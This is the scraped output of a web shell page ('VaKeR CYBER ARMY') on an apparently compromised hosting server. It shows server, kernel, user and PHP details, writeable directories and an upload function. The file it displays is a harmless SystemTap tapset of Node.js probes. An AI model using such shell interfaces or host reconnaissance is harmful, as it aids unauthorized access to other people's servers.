VaKeR CYBER ARMY
Logo of a company Server : Apache
System : Linux host44.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : vapecompany ( 2719)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /opt/alt/alt-nodejs6/root/usr/share/systemtap/tapset/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/alt-nodejs6/root/usr/share/systemtap/tapset/node.stp
probe node_net_server_connection = process("node").mark("net__server__connection")
{
  remote = user_string($arg2);
  port = $arg3;
  fd = $arg4;

  probestr = sprintf("%s(remote=%s, port=%d, fd=%d)",
    $$name,
    remote,
    port,
    fd);
}

probe node_net_stream_end = process("node").mark("net__stream__end")
{
  remote = user_string($arg2);
  port = $arg3;
  fd = $arg4;

  probestr = sprintf("%s(remote=%s, port=%d, fd=%d)",
    $$name,
    remote,
    port,
    fd);
}

probe node_http_server_request = process("node").mark("http__server__request")
{
  remote = user_string($arg3);
  port = $arg4;
  method = user_string($arg5);
  url = user_string($arg6);
  fd = $arg7;

  probestr = sprintf("%s(remote=%s, port=%d, method=%s, url=%s, fd=%d)",
    $$name,
    remote,
    port,
    method,
    url,
    fd);
}

probe node_http_server_response = process("node").mark("http__server__response")
{
  remote = user_string($arg2);
  port = $arg3;
  fd = $arg4;

  probestr = sprintf("%s(remote=%s, port=%d, fd=%d)",
    $$name,
    remote,
    port,
    fd);
}

probe node_http_client_request = process("node").mark("http__client__request")
{
  remote = user_string($arg3);
  port = $arg4;
  method = user_string($arg5);
  url = user_string($arg6);
  fd = $arg7;

  probestr = sprintf("%s(remote=%s, port=%d, method=%s, url=%s, fd=%d)",
    $$name,
    remote,
    port,
    method,
    url,
    fd);
}

probe node_http_client_response = process("node").mark("http__client__response")
{
  remote = user_string($arg2);
  port = $arg3;
  fd = $arg4;

  probestr = sprintf("%s(remote=%s, port=%d, fd=%d)",
    $$name,
    remote,
    port,
    fd);
}

probe node_gc_start = process("node").mark("gc__start")
{
  scavenge = 1 << 0;
  compact = 1 << 1;

  if ($arg1 == scavenge)
    type = "kGCTypeScavenge";
  else if ($arg1 == compact)
    type = "kGCTypeMarkSweepCompact";
  else
    type = "kGCTypeAll";

  flags = $arg2;

  probestr = sprintf("%s(type=%s,flags=%d)",
    $$name,
    type,
    flags);
}

probe node_gc_stop = process("node").mark("gc__stop")
{
  scavenge = 1 << 0;
  compact = 1 << 1;

  if ($arg1 == scavenge)
    type = "kGCTypeScavenge";
  else if ($arg1 == compact)
    type = "kGCTypeMarkSweepCompact";
  else
    type = "kGCTypeAll";

  flags = $arg2;

  probestr = sprintf("%s(type=%s,flags=%d)",
    $$name,
    type,
    flags);
}

VaKeR 2022